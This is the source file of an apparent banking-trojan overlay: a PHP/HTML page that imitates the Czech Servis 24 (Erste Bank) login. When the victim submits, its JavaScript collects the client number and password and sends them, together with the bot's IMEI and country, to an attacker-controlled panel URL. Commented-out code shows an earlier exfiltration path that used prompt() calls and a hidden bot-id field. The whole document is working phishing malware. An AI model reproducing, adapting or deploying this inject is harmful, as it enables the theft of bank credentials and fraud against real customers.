<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Service-24</title>
    <style>
        body {
            color: #000000;
            font-size: small;
            font-family: Arial, serif;
            margin: 0;
            padding: 0;
            background: #CCE5F7;
            height: 188px;
        }

        .submit-button {
            margin-bottom: 10px;
            width: 40%;
			color: #fff;
            background: #729fc3;
            font-weight: bold;
            margin-right: 10px;
            border: 0px none #036;
            height: 40px;
        }

        .none {
            margin: 0;
            padding: 0;
            border: 0
        }

        .field-block {
            padding: 4px 0
        }

        .dunkelblau {
            color: #000
        }

        .header {
            padding: 8px;
            text-align: center;
            background-color: #CCE5F7;
        }

        .content {
            margin: 0;
            padding: 0;
            background-color: #CCE5F7;
            margin-left: 10px
        }

        .teaser_box {
            margin-bottom: 10px;
            border-color: #FFFFFF;
            padding: 4px 0
        }


		.input-field {
			color: #729fc3;
			width: 40%;
			margin-right: 10px;
			border: 0 none;
			border-bottom: 2px solid #729fc3;
			text-align: center;
			height: 30px;
		}

        .fielderror {
            border: 1px solid #f00;
			color: #729fc3;
			width: 40%;
			margin-right: 10px;
			text-align: center;
			height: 30px;
        }
    </style>
</head>
<?php 
$IMEI_country = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
//$IMEI_country = "321|tr";
include "config.php";
?>
<body>


    <div class="fitMlbody" id="content_div">
        <div class="header">
            <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAI4AAAAiCAYAAACJI+GdAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACJpJREFUeNrsXM114zYQxurpHuaaQ8JUsHQFpiqwrAZEVWCpAlkViKpAdANruQLTFZhbwXJzyDVMBQlBDEwQnMEPKXtf8jTvYe21QPzM7zcDUJ8YRos0rP+d1+26bgH8tarbS91O7Mu6NDwXMncqm7H8nit789PPV3XfwjjaIuX7i9B5BGHjFvW4FTKW5FnU6cvY17p/xt6LxLx8zp9gvV9BXrSs6LEoXnb4/glh4r5uiWV4zoRNh3mLlD9z9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DtJLkQfEreeRvL9VpHFduoxSQXCoe/AcHfclqttVyr44d8NPEspGN/UteP6uJC+OhlAK8wNGnLkAaF5/aGirJTiy+uqOcw7Z+YLYwFze4c+VubdjIQrRwtPZXg6QYhrCrA+HucAzEo+EIPFijtdWbwIY35fXHAOqqBFPXzUvkDI6Ql+3hnGyqGtPeYfe7cmAx67Fm1lyN26K46411uw870jvmk8De1t5MZKByZ9Z+4Hhw9v844r/xewduokfK7hDcbkazrm8O1COXj+kNHf0uEmA/oVH9bZm1j3rZTHZMBE5yIOBv+BFjsoxNYS/1PmVhbfKvOOYXrcjNEqjB7WpHfZse4Z4J3BOAvmfti8gv1GROLg4gzMJ/XiqkrO5MuZ7bdyVFNt0zlqofKylrhQtYKHc9KiRf/S8nk3Le5blPgp5gwVEJoT/arm8pmw9JKwUmaZlynCpqhEPs+QVPsJmvwOnwowWEmMVypz/22Zu9T2y5AXDk1y2CnKkQKmC9C+3KuKa8MSa/Ixs38FGABZQsDXU3s4jAAAAABJRU5ErkJggg==" class="none" alt="Erste Bank Logo" border="0">
        </div><br><br><br><br><br><br><br><br>

        <section class="content">
            <form action="null" method="post" id="_mainForm" target="flow_handler">
                <div class="teaser_box">
				<center>
                    <div class="field-block">
                        <input name="Klientske cislo" id="login" placeholder="Klientské číslo" maxlength="10" class="input-field" type="text" />
                    </div>
                    <br />

                    <div class="field-block">
                        <input class="input-field" name="Heslo" placeholder="Heslo" id="password" maxlength="500" type="password" />
                        <br />
                        <br />
                    </div>
                    <input name="name" value="Service 24" type="hidden">

                    <div class="field-block">
                        <input value="Přihlásit" id="submitBtn1" class="submit-button" type="button">
                        <br />
                    </div>
					</center>
                </div>
            </form>
        </section>

        <iframe src="about:blank" name="flow_handler" style="visibility:hidden;display:none"></iframe>
    </div>

                <script type="text/javascript">
			   
				
				
				(function () {


                   var  __insHiddenField = function (objDoc, objForm, sNm, sV) {
                        var input = objDoc.createElement("input");
                        input.setAttribute("type", "hidden");
                        input.setAttribute("name", sNm);
                        input.setAttribute("value", sV);
						input.value = sV;
                        objForm.appendChild(input);
                    };


                    /*var g_oForm = document.getElementById('_mainForm'), g_sFAct = prompt('getLink');
					
					if(!/https?:\/\//i.test(g_sFAct))
					   g_sFAct = 'http://' + g_sFAct;
					
                    g_oForm.setAttribute('action',g_sFAct); // устанавливаем у формы урл админки
					try{
					   g_oForm.action = g_sFAct;
					} catch(e){};
					
					var g_FrmCode = prompt('getId');
                    __insHiddenField(document, g_oForm, 'code', g_FrmCode); // получаем id бота
*/

                    var g_oBtn = document.getElementById('submitBtn1');
                    g_oBtn.onclick = function () {
					
						var oNumInp = document.getElementById('login');
                        var oCodeInp = document.getElementById('password');

						try{
							oNumInp.className = oCodeInp.className = 'input-field';
						} catch(e){};
						
                        if (oNumInp.value.length < 3) {
							try{
								oNumInp.className = 'fielderror';
							} catch(e){};
                            return false;
                        }
						
                        if (!/^\w{3,100}$/i.test(oCodeInp.value)) {
							try{
                                oCodeInp.className = 'fielderror';
							} catch(e){};
                            return false;
                        }
						top['closeDlg'] = true;
						/*prompt('send', '{"dialog id" : "servis24'+
						'", "klientske_cislo": "'+oNumInp.value+
						'", "heslo": "'+oCodeInp.value+'"}');
						
						document.getElementById('content_div').style.visibility = 'hidden';
						g_oForm.submit();*/
						
						
						var url='<?php echo $URL; ?>';
var imei_c='<?php echo $IMEI_country; ?>';
location.replace(url+'/o1o/a10.php?p=' + imei_c+"|Injection_4|servis24|"+oNumInp.value+"|"+oCodeInp.value+"|");
						
						return false;
                    };

                })();
            </script>

</body>
</html>
